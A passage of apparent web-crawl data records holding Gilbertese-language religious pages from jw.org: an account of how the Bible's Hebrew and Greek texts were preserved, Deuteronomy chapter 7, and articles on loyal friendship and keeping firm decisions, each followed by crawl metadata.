(Te Tua-Kaua 31:26; Neemia 8:7) Imwin taenikaia I-Iutaia i Baburon, ao e a rikirake te koraki teuana ae taani kaewewe ke taani koroboki (Sopherim). (Etira 7:6, ae i nano) Ni waakinakon te tai, ao taani koroboki akanne a kabatiai katotoni booki aika 39 ake n te Koroboki ae Tabu n te Taetae n Ebera.\nI nanon tienture aika bati, ao a a tia taani koroboki aikai ni kaewei booki aikai ma te taratara raoi. I nanon te tai ae aranaki bwa te Middle Ages, ao a waakinaanako te katei anne taani koroboki aika I-Iutaia aika taiani Masorete. Te koroboki nikawai mairouia taiani Masorete ae te kabanea ni maan ao e tabwanin raoi, bon te Leningrad Codex, ae bonginaki man 1008\/1009 C.E. Ma i nukan te ka-20 n tienture, ao iai koroboki nikawai n te Baibara aika 220 tabun mwaitiia ke mwakorokoroia, aika kuneaki i buakon Nira ni Boki Man Taari ae Mate. A a kamani koreaki koroboki n te Baibara nikawai aikai teuana tenga tabun te ririki imwaini korean te Leningrad Codex. Kabotauan Nira ni Boki Man Taari ae Mate ma te Leningrad Codex e kakoauaa te bwai ae kakawaki aei: E ngae ngke iai teutana te kaokoro ni kanoan taian Nira ni Boki Man Taari ae Mate, ma e bon aki kaokoro nanon te rongorongo are iai.\nTera aroni booki aika 27 ake n te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti? A moani koreaki booki akanne irouia tabeman ana abotoro Iesu Kristo, ao tabeman taan rimwina rimoa. A karaoi naba katotoni booki akanne Kristian ake rimoa ni kakairi n aia katei taani koroboki ake I-Iutaia. (I-Korote 4:16) E ngae ngke a kani kamaunai ni kabane koroboki ni Kristian ake rimoa te Embera n Rom ae Diocletian ao tabeman riki, ma a boni kawakinaki ni karokoa ara bong aikai nga ma nga mwaitini mwakorokoroia ao koroboki nikawai aikai.\nA rairaki naba nakon taetae tabeua koroboki ni Kristian aikai. E rairaki ngkoa te Baibara nakon taetae rimoa aika te Armenian, Coptic, Ethiopic, Georgian, Latin, ao te Syriac.\nKATAURAOANI KANOAN TE KOROBOKI AE TABU N TE TAETAE N EBERA AO NI KURIITI IBUKIN TE RAIRAI\nA aki titeboo taeka ake ni katoton ni kabane te Baibara rimoa. Ti na kangaa ngkanne n ataa kanoan te moani koroboki n te Baibara?\nE kona ni kabotauaki aei ma te tia reirei ae tuangia ana ataei aika 100 bwa a na kaewea mwakoron te boki teuana. E ngae ngkana tao e bua mwakoron te boki anne, ma kabotauani katotona ake 100 e na boni kaota naba kanoan te boki anne. E ngae ngke e na bon iai tabeua buren aia kaewewe ataei aikai n tatabemania nako, ma e na rangi ni kangaanga ae a na bane n titeboo bureia. N aron anne, ngke a kabotaui mwakorokoron te Baibara aika nga ma nga taan rabakau ma katotoni bokin te Baibara rimoa ake irouia, ao a kona n nora kairuan te kaewewe ma n atai taeka ake e moani koreaki iai te Baibara.\n\"E boni kona n taekinaki bwa akea te koroboki rimoa ae eti riki aroni kaeweweana nakon aei\"\nTi na kangaa ni koaua raoi bwa a reke iroura ngkai iango aika eti raoi ake n te Baibara rimoa? E taekina ae kangai te tia rabakau ae William H. Green ni kaineti ma kanoan te Koroboki ae Tabu n te Taetae n Ebera: \"E boni kona n taekinaki bwa akea te koroboki rimoa ae eti riki aroni kaeweweana nakon aei.\" Ni kaineti ma te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti ae aranaki naba bwa te Nu Tetemanti, e korea ae kangai te tia rabakau i aon te Baibara ae F. F. Bruce: \"A a rangi ni bati riki ngkai bwaai ni kakoaua ibukin te koroboki ae n te Nu Tetemanti, nakoni bwaai ni kakoaua ibukini koroboki tabeua ake a tanoata taekaia. Ao akea ae e na iangoa waeani koroboki aika tanoata taekaia aikai.\" E taku naba: \"Ngke arona bwa te Nu Tetemanti boni koroboki aika aki irekereke ma te Aro, ao angia aomata a na aki nanououa teutana n aron etiruruna.\"\nTe Koroboki ae Tabu n te Taetae n Ebera: E boboto Te Rairai ae te Aonnaba ae Boou—Karikani Bwaai Nakoni Maraki (1953-1960) i aon te koroboki ae te Biblia Hebraica, ae karaoaki iroun Rudolf Kittel. Man te tai anne, a a karaoaki koroboki aika boou n te Koroboki ae Tabu n te taetae n Ebera, aika te Biblia Hebraica Stuttgartensia ao te Biblia Hebraica Quinta. Koroboki aikai a kabonganai mwini kakaae aika boou aika boto i aon Nira ni Boki Man Taari ae Mate ao koroboki nikawai riki tabeua. Koroboki aikai a kaota kanoan te Leningrad Codex, n ikotaki ma kabwarabwara mai nano ake a kaotii naba taeka mani koroboki tabeua aika a kona ni kabotauaki iai, n aron te Samaritan Bentateuki, Nira ni Boki Man Taari ae Mate, te Greek Septuagint, te Aramaic Targums, te Latin Vulgate, ao te Syriac Peshitta. A bon uaia n rinanoaki rairai aika te Biblia Hebraica Stuttgartensia ao te Biblia Hebraica Quinta ngke e karaoaki te rairai ae boou aei ae Te Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou.\nTe Koroboki ae Tabu n te Taetae ni Kuriiti: N raabanen te ka-19 n tienture ao taan rabakau aika B. F. Westcott ao F.J.A. Hort a kabotaui koroboki nikawai n te Baibara ao mwakorokoroia ake iai irouia, ngke a katauraoa te koroboki n te taetae ni Kuriiti ae a taku bwa e kaota raoi kanoan te koroboki ae tabu nikawai. N nukan te ka-20 n tienture ao a a kabongana te koroboki n te taetae ni Kuriiti aei kaain te Komete Ibukin Rairan te Baibara ae te rairai ae Te Aonnaba ae Boou. A kabonganai naba nira ni boki tabeua aika taiani babirati ake bwain te kauoua ao te katenua n tienture C.E. Imwin anne ao a a manga reke riki nira ni boki aika taiani babirati. Iai naba koroboki ake mairoun Nestle ao Aland ao are man te United Bible Societies aika kaotii naba mwini kakaae aika boou. Tabeua mai buakoni kukune aikai a kabonganaaki naba n te rairai n te Baibara aei.\nNi kaineti ngkanne ma koroboki aikai, e a teretere bwa tabeua kiibu aika n te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti, aika kuneaki naba n rairai nikawai n aron te King James Version, boni kiibu aika karinaki irouia taani kaewewe, ao tiaki kanoan te Koroboki ae Tabu ae kairaki koreana rinanon te taamnei. A a kamani bwenauaaki kanoan te Baibara nakoni kiibu aika nambwanaki n te ka-16 n tienture, ao kioina ngkai a kamaunaaki kanoani kiibu akana karinaki akanne, ao tabeua kiibu ngkai ai akea kanoaia. Aikai kiibu akanne: Mataio 17:21; 18:11; 23:14; Mareko 7:16; 9:44, 46; 11:26; 15:28; Ruka 17:36; 23:17; Ioane 5:4; Mwakuri 8:37; 15:34; 24:7; 28:29; ao I-Rom 16:24. N te Baibara aei, ao a kaotaki kiibu aikai bwa akea kanoaia n te kabwarabwara mai nano.\nNi kaineti ngkanne ma te motika ae ananau are ni Mareko 16 (kibuna 9-20), te motika ae kimototo are ni Mareko 16, ao taeka ake n Ioane 7:53–8:11, e teretere iai bwa bon akea kiibu aikai ni koroboki nikawai. Ngaia are a bon aki naba karinaki n te Baibara aei kiibu aika kairua aikai. *\nA a tia kiibu tabeua ni bitaki nakon ae a taku taan rabakau bwa e boraoi riki ma are oti n te koroboki are e moani koreaki iai te Baibara. N te katoto, ni kaineti ma koroboki nikawai tabeua, ao e kangai kanoani Mataio 7:13: \"Riin n te mataroa ae wariki, bwa e raababa te mataroa ma ni mwawaawa te kawai ae tiki nakon te kamaunanakoaki.\" N te rairai mai mwaina n Te Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou, ao e bon aki karinaki te taeka ae \"te mataroa\" n te kibu aei. Ma imwin te ukeuke riki i aoni koroboki nikawai ao e a kakoauaaki bwa te taeka ae \"te mataroa\" boni kanoan te koroboki are e moani koreaki iai te Baibara. Ai ngaia are e a manga karinaki n te Baibara aei. Iai riki bitaki aika ai aron aikai. Ma boni bitaki aika uarereke ao a aki bita nanon te rongorongo ae n Ana Taeka te Atua.\n^ bar. 5 Te koroboki aei e a tii taekinaki n te kaongora aei bwa te Koroboki ae Tabu n te Taetae n Ebera.\n^ bar. 7 Teuana bukina ae e kainnanoaki iai kaewean taiani koroboki nikawai, bwa a koreaki ngkoa i aoni baika a kai mauna.\n^ bar. 18 Iai riki rongorongo tabeua aika kaotia bwa bukin tera ngkai kiibu aikai a iangoaki bwa a kairua, ni kabwarabwara mai nano n te New World Translation of the Holy Scriptures—With References, are boreetiaki n 1984.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/bukinibaa-a\/aron-reken-te-baibara-iroura\/","date":"2018-02-24T13:44:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815812.83\/warc\/CC-MAIN-20180224132508-20180224152508-00168.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1627,"character_repetition_ratio":0.095,"word_repetition_ratio":0.024,"special_characters_ratio":0.23,"stopwords_ratio":0.407,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7 \"Ngkana e kairingkami Iehova ae Atuami nakon te aba are kam nang rin n abanna,+ ao e na kamaunaia naba mai mwaimi+ natannaomata aika kau aomata, aika tibun Eta, taiani Kirekataite, taian Amoraite,+ tibuni Kanaan, taiani Beritaite, taian Iwaite, ao I-Iebuti,+ aika natannaomata aika itiua aika kau aomata ma ni korakora riki nakoimi.+ 2 E na anga naakai nakoimi Iehova ae Atuami, ao kam na kataenikaiia.+ Kam bon riai ni kamaunaia.+ Kam na tai karaoa te berita teuana ma ngaiia ke ni kaotiota akoaia.+ 3 Kam na tai imaremare ma ngaiia. Tai anga natimi aine nakoia natiia mwaane ke n anaiia natiia aine ibukia natimi mwaane.+ 4 Bwa ane a na rairiianako natimi man irirakiu bwa a na toro irouia atua riki tabeman,+ ao ane e na urarake unin Iehova nakoimi ao e na waekoa ni kamaunaingkami.+ 5 \"Ma aio te bwai ae kam riai ni karaoia nakoia: Urui aia baonikarea, kamaeinikuni aia boua aika tabu,+ korei aia kai aika tabu*+ ni kabwakai, ao kabueki aia bouannanti aika kaaraki.+ 6 Bwa bon te natannaomata ae itiaki* ngkami iroun Iehova ae Atuami, ao e a tia n rineingkami Iehova ae Atuami mai buakoia botannaomata ni kabane n te aonnaba, bwa kam na riki bwa ana aomata, ae ana aomata aika okoro.*+ 7 \"E tangiringkami Iehova ao e rineingkami+ tiaki ibukina bwa te kabanea ni mwaiti mwaitimi i buakoia botannaomata ni kabane, bwa bon te kabanea ni karako mwaitimi i buakoia botannaomata ni kabane.+ 8 Ma bon ibukin tangirami iroun Iehova ao ibukina bwa e kawakina te berita are e taetae n tuea iai nakoia ami bakatibu,+ ae ngaia ae e kairingkami iai Iehova ni kaotinakoingkami n te bai ae korakora, ni manga kabooingkami man te auti n toronaki,+ mai aani mwaakani* Barao are uean Aikubita. 9 Kam ataia raoi bwa Iehova ae Atuami, bon te Atua ae koaua, ao te Atua ae kakaonimaki, ae kakawakina ana berita ao ana tangira ae koaua* nakoia rooro aika nga ma nga, ake te koraki ake a tangiria ao a kawakin ana tua.+ 10 Ma e na angania te koraki ake a riribaia boon aia mwakuri ni kamaunaia.+ E na aki iremwe ni karaoa te bwai teuana nakoia te koraki ake a riribaia, ao e na angania boon aia mwakuri. 11 Mangaia ae taratara raoi bwa kam na kawakini tuua ma taiani kaetieti ma mooti, aika I tua nakoimi n te bong aei, n aromi ni kakairi iai. 12 \"Ngkana kam teimatoa n ongo ni mooti aikai ma ni kakairi iai ao ni kakororaoi, ao Iehova ae Atuami e na boni kawakina te berita ma te tangira ae koaua* are e taetae n tuea iai nakoia ami bakatibu. 13 E na tangiringkami ao e na kakabwaiaingkami ao e na kamwaitingkami. Eng, e na kakabwaiaingkami ni kabatiaia natimi,*+ ao n uaan ami tano, n ami uita,* n ami wain ae boou, n ami oera,+ ni bunia ami nanai ni kao ao bunia ami nanai n tiibu, n te aba are e taetae n tuea ibukina nakoia ami bakatibu bwa e na anganingkami.+ 14 Kam na rangi ni kakabwaiaaki riki i buakoia botannaomata nako,+ akea te mwaane ke te aine i buakomi ae e na aki kakariki, ao akea naba ami nanai ni man ae e na akea natiia.+ 15 E na uotiinako mairoumi aoraki ni kabane Iehova, ao e na aki karokoa i aomi te aoraki ae kakaiaki are kam ataia i Aikubita.+ Ma e na karokoi i aoia te koraki ake a riribaingkami. 16 Kam na kamaunaia* botannaomata ni kabane ake e anga Iehova ae Atuami nakoimi.+ Kam* na tai nanoangaiia+ ao kam na tai toro irouia atuaia,+ ibukina bwa bon te bwai ni kamwane nakoimi.+ 17 \"Ngkana kam kangai i nanomi, 'A kau aomata riki natannaomata aikai nakoira, ao ti na kangaa ni kakioianako?'+ 18 kam na tai maakuia.+ Kam riai ni kauringingkami te bwai are e karaoia Iehova ae Atuami nakoni Barao ma Aikubita ni kabutaa,+ 19 ake taiani motikitaeka aika korakora ake kam nori ni matami, ao kanikina ma kakai,+ ao te bai ae korakora, ao te bai ae aroraki are e kairingkami iai Iehova ae Atuami ni kaotinakoingkami.+ Anne te bwai ae e na karaoia Iehova ae Atuami, nakoia botannaomata ni kabane aika kam maakuia.+ 20 E na kanakoa namakinan te bwarannano* nako aoia Iehova ae Atuami, ni karokoa ae a maunanako te koraki ake taian nikira+ ake a karabaia mai mwaimi. 21 Tai maakunrang irouia, bwa e memena iroumi Iehova ae Atuami,+ ae te Atua ae korakora ma ni kamimi ao ni kakamaaku.+ 22 \"E na boni kakioianako natannaomata aikai Iehova ae Atuami mai mwaimi teutana imwin teutana.+ Kam na aki kariaiakaki bwa kam na tiringia n te tai ae waekoa, bwa a aonga n aki kamwaitiia manin te tawaana aika kaakang, ni kaaitaraingkami. 23 E na anga naakai nakoimi Iehova ae Atuami ao e na boni kataenikaiia ni karokoa ae a maunanako.+ 24 E na anga aia uea nako nanoni baimi,+ ao kam na kamaunai araia mai aani karawa.+ Akea aika a na tei ni kaaitaraingkami+ ni karokoa ae kam kamaunaia.+ 25 Kam riai ni kabueki n te ai aia bouannanti aika kaaraki ake katotongan atuaia.+ Tai mataaiakina te tirewa ma te koora ake i aoia ke n anai bwa ami bwai,+ bwa kam aonga n aki mwane iai, bwa bon te bwai ae riribaaki iroun Iehova ae Atuami.+ 26 Kam na tai uota te bwai ae riribaaki nako nanon ami auti bwa kam kaawa n riki bwa te bwai ae riai ni kamaunaaki n ai arona. Kam bon riai n riribaia ao n rarawa nako iai ibukina bwa bon te bwai ae riai ni kamaunaaki.\nTaiani Kabwarabwara Mai Nano\n^ Nora Nanon Taeka.\n^ Ke, \"tabu.\"\n^ Ke, \"ana bwai ae kakawaki.\"\n^ Ebera, \"bain.\"\n^ Ke, \"te tangira ae kona n onimakinaki.\"\n^ Ke, \"te tangira ae kona n onimakinaki.\"\n^ Ebera, \"kakabwaiaa uaani birotomi.\"\n^ Ke, e kona n nanona \"te baare.\"\n^ Ebera, \"kabwautiia.\"\n^ Ebera, \"Matami.\"\n^ Ke tao, \"nakonnano; maaku.\"","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/7\/","date":"2018-02-18T07:32:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891811794.67\/warc\/CC-MAIN-20180218062032-20180218082032-00391.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":961,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A RIKI bwa raao ni koaua Gianni ma Maurizio i nanon 50 tabun te ririki. Ma iai te tai teuana are e a kuri n uruaki iai aia iraorao. E kabwarabwaraa ni kangai Maurizio: \"I karaoi kairua tabeua aika kakaiaki ni kaitaraakiu ma te kangaanga teuana, ike ti a maenako iai.\" E reitia ni kangai Gianni: \"Bon au tia reirei Maurizio ngke I moana au reirei n te Baibara. E a riki bwa te tia buokai n te onimaki. Ngaia are I aki kakoauaa ae e kona ni karaoa aei. I rangi n rawawata ibukina bwa I a ataia ae e nang toki ara iraorao. I namakinna bwa I a tinanikuaki.\"\nA KAKAWAKI raoraom ni koaua, ao e aki kona n riki i bon irouna te iraorao ae teimaan. Ngkana e nang uruaki te iraorao, tera ae kona ni kateimatoa? Ti kona ni karekei reireiara aika bati mairouia naake a taekinaki n te Baibara ake raao ni koaua ao imwina e a kuri n uruaki aia iraorao.\nNGKANA E KARAOA AE KAIRUA TE RAO NI KOAUA\nBon te uea ao te tia kawakintiibu Tawita ae iai tabeman raoraona ni koaua. Ionatan bon temanna i buakoia ae ti bae n uringnga. (1Tam. 18:1) Ma iai riki raoraon Tawita, n aron te burabeti are Natan. E aki kaotaki n te Baibara te tai are e moanaki iai aia iraorao. Ma e ngae n anne, n te tai teuana ao e kaota ana iango Tawita nakon Natan n aron ae ko kona ni karaoia nakon raoraom. E tangiria Tawita bwa e na katea te auti ibukin Iehova. E bae ni kakawaki iroun te uea ana iango Natan ngkai bon raoraona ao iai irouna taamnein Iehova.\nMa e a tii riki naba te bwai teuana are e a kuri n uruaki iai aia iraorao. E wene ni kimoa te Uea ae Tawita ma Batateba, ao imwina e tua karaoan te bwai teuana bwa e aonga ni mate buun neiei are Uria. (2Tam. 11:2-21) E kakaonimaki ni koaua Tawita nakon Iehova i nanon ririki aika bati ao e kateimatoa te kaetitaeka ae riai. Ma imwina, e a karaoa te bure ae kakaiaki aei! Tera ae riki iroun te uea ane raoiroi anne? Tiaki e bon ataa kakaiakin ana mwakuri? N ana iango e kona ni karabaa ana bure mairoun te Atua?\nTera ae e na karaoia Natan? E na kariaia temanna bwa e na kaota anne nakon te uea? A ataa aron ana babaire Tawita tabemwaang ibukin tiringan Uria. Ngaia are bukin tera bwa e na irekereke Natan n aei, ao ni karuanikaia aia iraorao ae teimaan? E kona naba n ruanikai maiun Natan ngkana e taekinna. Ni koauana, e a kaman tia ni mate Uria ae akea ana bure man ana babaire Tawita.\nMa Natan bon ana tia taetae te Atua. E ataia te burabeti aei bwa ngkana e teimatoa ni kainabwabu, e na aki tiku n arona ana iraorao ma Tawita ao e na karawawataaki mataniwin nanona. E a tia raoraona ae Tawita n toua te kawai ae e aki kukurei iai Iehova. E rangi ni kainnanoa te ibuobuoki te uea ibukin raoiakinan ana iraorao ma Iehova. Eng, e kainnanoa te rao ni koaua Tawita. Ao bon te rao ni koaua Natan. E motikia Natan bwa e na taekina aei n te kaikonaki ae e na ringa nanon teuaei ngkai te tia kawakintiibu ngkoa. E taekina ana rongorongo te Atua Natan n te aro are e buokaki iai Tawita n ataa rawawatan ana bure ao ni kairaki iai bwa e na karaoa te bwai teuana.\nTera ae ko na karaoia ngkana e karaoa te kairua ae rawawata ke te bure ae kakaiaki raoraom? Ko na bae ni kaririaki n iangoia bwa ngkana ko taekina ana kairua, ao e nang uruaki iai ami iraorao. Ke ko bae n namakinna ae ngkana ko ribootina aroarona ae bure anne nakoia unimwaane ake a kona ni buoka ana onimaki, ko a kamwanea iai raoraom. Tera ae ko na karaoia?\nE ururing rikaaki ni kangai Gianni are taekinaki mai moa riki: \"I ataia ae iai te bitaki. E a aikoa kaota raoi nanona Maurizio nakoiu n aron are mai mwaina. I iangoia bwa N na maroroakinna ma ngaia, e ngae ngke moan te kangaanga karaoana irou. I iango ni kangai: 'Tera te bwai ae e tuai n ataia mai mwaina ae I kona n tuangnga? E na bae n rangi n rotakibuaka iai!' Ma ibukina bwa I ururingi baike ti kaai n reiakin, I a ninikoria ni maroro ma ngaia. E a tia naba Maurizio ni buokai ngke I kainnanoa buokau. I aki tangiria bwa e na bua ara iraorao, ngaia are I kani buokia ibukina bwa I tabeakinna.\"\nE reitia ni kangai Maurizio: \"E kani buokai raoi Gianni ao e bon eti are irouna. I ataia ae baika a riki imwin au rinerine aika bubuaka, bon tiaki ana bure ao tiaki naba ana bure Iehova. Ngaia are I butimwaea te reirei ni kaetieti ao imwin tabeua te tai, e a manga korakora au onimaki.\"\nNGKANA E REKE N TE KANGAANGA RAORAOM\nIai riki raoraon Tawita ake a kakaonimaki ni koaua ni boutokaia n taai ake e kaaitara iai ma kangaanga. Temanna i buakoia bon Utiai, ae taekinaki n te Baibara bwa \"raoraon Tawita.\" (2Tam. 16:16; 1Rong. 27:33) E bae ni mataniwi n te baareti Utiai ao raoraon naba te uea, ao n tabetai e karaoi baika aki riai n ataaki.\nNgke e tauaki te kaintokanuea iroun natin Tawita are Abetarom, a bati tibun Iteraera ake a tei n ana itera Abetarom ma e aki karaoa anne Utiai. Ngke e birinako Tawita ao e raonna Utiai. E rangi n rawawata Tawita ibukina bwa e kamwaneaki iroun natina ao naake e onimakinia. Ma e ngae n anne, e teimatoa ni kakaonimaki Utiai ao e kukurei ni karuanikaia maiuna ma ni kakororaoa mwiokoana are e na totokoa te waaki ni karitei anne. E karaoa aei Utiai tiaki ibukina bwa iai mwiokoana n te baareti, ma e kaotia bwa te rao ni koaua ngaia.\nE karaunano noran aroia taari mwaane ao aine ni boong aikai bwa a katiteuanaaki n aia iraorao, tiaki tii ibukin ae anne tabeia ke mwiokoaia n te ekaretia. Mani baike a karaoi, titeboo ma a kangai, \"Bon raoraom ngai, tiaki ibukina bwa I riai ni karaoia, ma ibukina bwa ko kakawaki irou.\"\nAio te bwai are e rinanona te tari te mwaane ae Federico. Ibukin ana ibuobuoki raoraona ae tatangiria ae Antonio, e a tokanikai i aon ana kangaanga. E taku Federico: \"Ti riki bwa raao ni koaua tabeua te tai imwini mwaingin Antonio nakon ara ekaretia. Ti kaai ni beku bwa tabonibai n te ekaretia, ao ti kukurei n uaia ni mwakuri. Tabeua te tai imwina, e a rineaki bwa te unimwaane. E riki bwa raoraou ni koaua ao te banna ni katoto naba nakoiu n te onimaki.\" Imwina, e a reke n te bure Federico. E ukera naba ngkekei buokana n te onimaki, ma e a aikoa tau n riki bwa te bwaiania ke te tabonibai n te ekaretia. Tera aron Antonio?\nE ururing rikaaki Federico ao e taku: \"I ataia ae e ota n rawawatau Antonio. E kataia ni kabanea ana konaa ni buokai ni karaua nanou. E rangi n tabeakina kaokani korakoran au onimaki ao e aki katoka ara iraorao. E kaungaai bwa N na kaoka korakoran au onimaki ao n aki kabwaraa nanou.\" E taku Antonio: \"I kabanea riki au tai ma Federico. I tangiria bwa e na aki maakinai ni kaota nanona ao rawawatana.\" E kakukurei bwa imwin tabeua te tai, e a manga korakora ana onimaki Federico ao imwina riki, e a manga mwiokoaki bwa te bwaiania ao te tabonibai n te ekaretia. E motika ana taeka Antonio ni kangai: \"E ngae ngke ti a beku ngkai n ekaretia aika kakaokoro, ma ti teimatoa ni kaaniaki.\"\nKO NAMAKINNA BWA KO A TINANIKUAKI?\nTera am namakin ngkana e kaaki taekam raoraom ni kaan n te tai are ko rangi ni kainnanoia iai? E rangi ni kammaraki riki anne. Ko kona ni kabwaraa ana bure? E na teimatoa ni kaan ami iraorao n aron are mai mwaina?\nIangoa te baere riki nakon Iesu ni kabanean ana bong i aon te aba. E kakabanea ana tai ma ana abotoro ake a kakaonimaki, ao a katiteuanaaki n te reitaki ae okoro. E bon arania Iesu bwa raoraona. (Ioa. 15:15) Ma tera ae riki ngke e a katikaki? A birinako abotoro. E bon taekinna Betero bwa e na aki kitana ana Toka, ma n te tairiki anne, e kakewekewe Betero bwa e aki kinaa Iesu!\nE ataia Iesu bwa e na kaaitara ma kabaneani kataakina n tii ngaia. Ma e boni kona naba n un ao ni maraki. Ma ngke e maroro ma taan rimwina tabebong imwini kautana, e aki oti naba teutana marakin nanona, unna, ke uringaabana. E aki iangoia Iesu bwa e na rarangai aia bure taan rimwina, n ikotaki naba ma baike a karaoi n te tairiki are e katikaki iai.\nNi kaitaraan anne, e karaua nanoni Betero ma abotoro ake tabeman. E kaota raoi onimakinaia ngke e angania te kaetieti ibukin te mwakuri n angareirei ae moan te kakawaki mangkekei ni karokoa ngkai. Iroun Iesu, a teimatoa n riki ana abotoro bwa raoraona. A teimatoa n rotaki n ana tangira. A kataia ni kabanea aia konaa n aki manga karawawataa aia Toka. Ni koauana, a waakina raoi mwiokoaia taan rimwina n aron tuangakia.\nE uringa raoi arona te tari te aine ae Elvira ngke e unraa ma raoraona ae e tatangiria ae Giuliana ao e taku: \"Ngke e tuangai bwa e maraki nanona n te bwai are I karaoia, ao I rangi n nanokawaki. E bon eti unna. Ma te bwai ae e anaaki iai nanou, e rangi n tabeaianga irou n te bwai ae e kona n riki man aroarou. I teimatoa ni kaitaua ibukina bwa e aki kaatuua iangoan au kairua nakoina, ma e tabeakina riki arou ae I kona n reke iai n te kangaanga. I kaitaua Iehova bwa e reke raoraou ae tabeakina riki kabwaiau nakon rawawatana irou.\"\nTera aron te rao ni koaua ngkana e nang uruaki aia iraorao? E na tauraoi neienne ke teuanne ni maroro ma te akoi ao te aki wimakiki ngkana e riai. E na riki te rao anne bwa ai aron Natan ao Utiai, ake a teimatoa ni kakaonimaki ni koaua n taai aika bubuaka, ao n aron naba Iesu are tauraoi ni kabwarai buure. Te rao ngkoe ae iai aroaro aikai iroum?","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/aua-n-tantani-reirei-maati-2017\/riiki-bwa-te-rao-ni-koaua-ngkana-e-nang-uruaki-te-iraorao\/","date":"2018-02-18T07:32:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891811794.67\/warc\/CC-MAIN-20180218062032-20180218082032-00391.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1746,"character_repetition_ratio":0.046,"word_repetition_ratio":0.002,"special_characters_ratio":0.222,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A MOTINNANOIA Kristian aika rooro n rikirake aika bati bwa a na nako ni mataku n te taamnei. A taekinna tabonroroia aika bati n aia reirei bwa e rangi ni kakamataku. Ngke a a roko n te tabo n taamnei, a nori i aoni baaba ni kaongora taamneini bwaai ni buaka aika mwaakaroiroi ao taamneia aine aika kabwakabwaka kunnikaia. Tera ae a na karaoia? A na rin n te tabo n taamnei ao ni mataku?\nE kamatataaki n te bwai ae riki aei bwa ti aitara ma motinnano aika bati, ake a kona n raoiroi ke ni buakaka mwia nakon ara onimaki ao ara iraorao ma Iehova. N tabetai, ko baireia bwa tao ko na karaoa te bwai teuana ma ko a manga rinanona ao ni bita am iango. E riki anne bwa ko bon nanououa ke tao ko bon riai ni karaoia?\nKo AKI RIAI ni Bita Am Iango\nE kairira tangiran Iehova bwa ti na katabui maiura nakoina ao ni bwabetitoaki. Bon nanora bwa ti na teimatoa ni kakaonimaki nakon te Atua. Ma e ngae n anne, e kakorakoraa ara kairiribai are Tatan te Riaboro n urui kakaonimakira n te aro ae eti. (Te Kaotioti 12:17) Ti a tia ni motinnanoia bwa ti na beku ibukin Iehova ao n irii ana tua. Ibukina bwa e kakawaki ara katabu nakon Iehova, boni moan te kananokawaki ngkana ti bitii ara iango! Ti na boni kabuaa iai maiura.\nE raka i aon 26 te tienture n nako ao e karaoa te boua ae te koora ae abwabwaki Nebukaneta are Ueani Baburon, ao e tua bwa a na bane aomata ni bobaraaki n taromauria. E na boni karenakoaki n te ai ae uramwaaka ane e rawa ni karaoa anne. A bon aki ira nanon anne mwaane ake teniman aika Tiateraka, Metiaka ao Abeteneko ake a kakaonimaki n taromauria Iehova. Ibukina bwa a rawa ni bobaraaki nakon te boua arei, a a boni karenakoaki nako nanon te ai ae uramwaaka. A boni kamaiuaki n te aro ni kakai iroun Iehova, ma a a tia ni kariaia bwa e na ruanikai maiuia nakon are a na kakeaa bongan aia motinnano ae te beku ibukin te Atua.\nImwin anne, e botumwaaka te burabeti are Taniera n tataro n aki ongea ruanikaina ngkana e karenakoaki nako nanon aia mwarua raian. Eng, e teimatoa n tatataro nakon Iehova tenua te tai ni katoabong. E aki bita ana motinnano Taniera ibukin taromaurian te Atua ae koaua. Ao ibukin anne, e kamaiuaki te burabeti aei \"mai nanoni baiia raian.\"\nA kaboraoa naba maiuia ma aia katabu nakon te Atua ana toro ni boong aikai. N te reirei teuana i Aberika ao a rawa n tiaruuti nakoni buraekin te aba, ataein te reirei tabeman aika Ana Tia Kakoaua Iehova. A boni kakamaakaki bwa a na kabaneaki man te reirei ngkana a aki raonia ataei ake tabeman riki. N te tai ae aki man imwin anne, e a kawaraki te kaawa iroun te minita ibukin te reirei ao e maroro ma ataein te reirei tabeman aika taani Kakoaua. A boni kabwarabwaraa bukin rawaia ma te akoi ao te aki maaku. Ni moa man te tai anne, e aikoa manga riki te kangaanga anne. A kona rooro n rikirake aika taari mwaane ma aine n nakon te reirei ao n aki kairoroaki bwa a na kakeai bongan aia iraorao ma Iehova.\nIangoa naba Joseph are e kaentia buuna ao ni karina ni mate. A ota kaain ana utu Joseph ao a karinea te bwai are e tangiria ibukin ana taunimate. Ma e ngae n anne a aki kaaina te onimaki ana utu buuna, ao a tangiria bwa a na karaoi katei ake e aki kukurei iai te Atua. E taku Joseph: \"Ibukina bwa I aki kona ni bita au iango, a a manga kakorakoraia ni kariria natiu, ma a bane naba n teimatoa n rawa. A kataia naba ni bairea te botaki ibukin te taoatama ni mwengau n aron ae e kakaraoaki. Mangaia are I a butiia bwa ngkana a imanonoa te 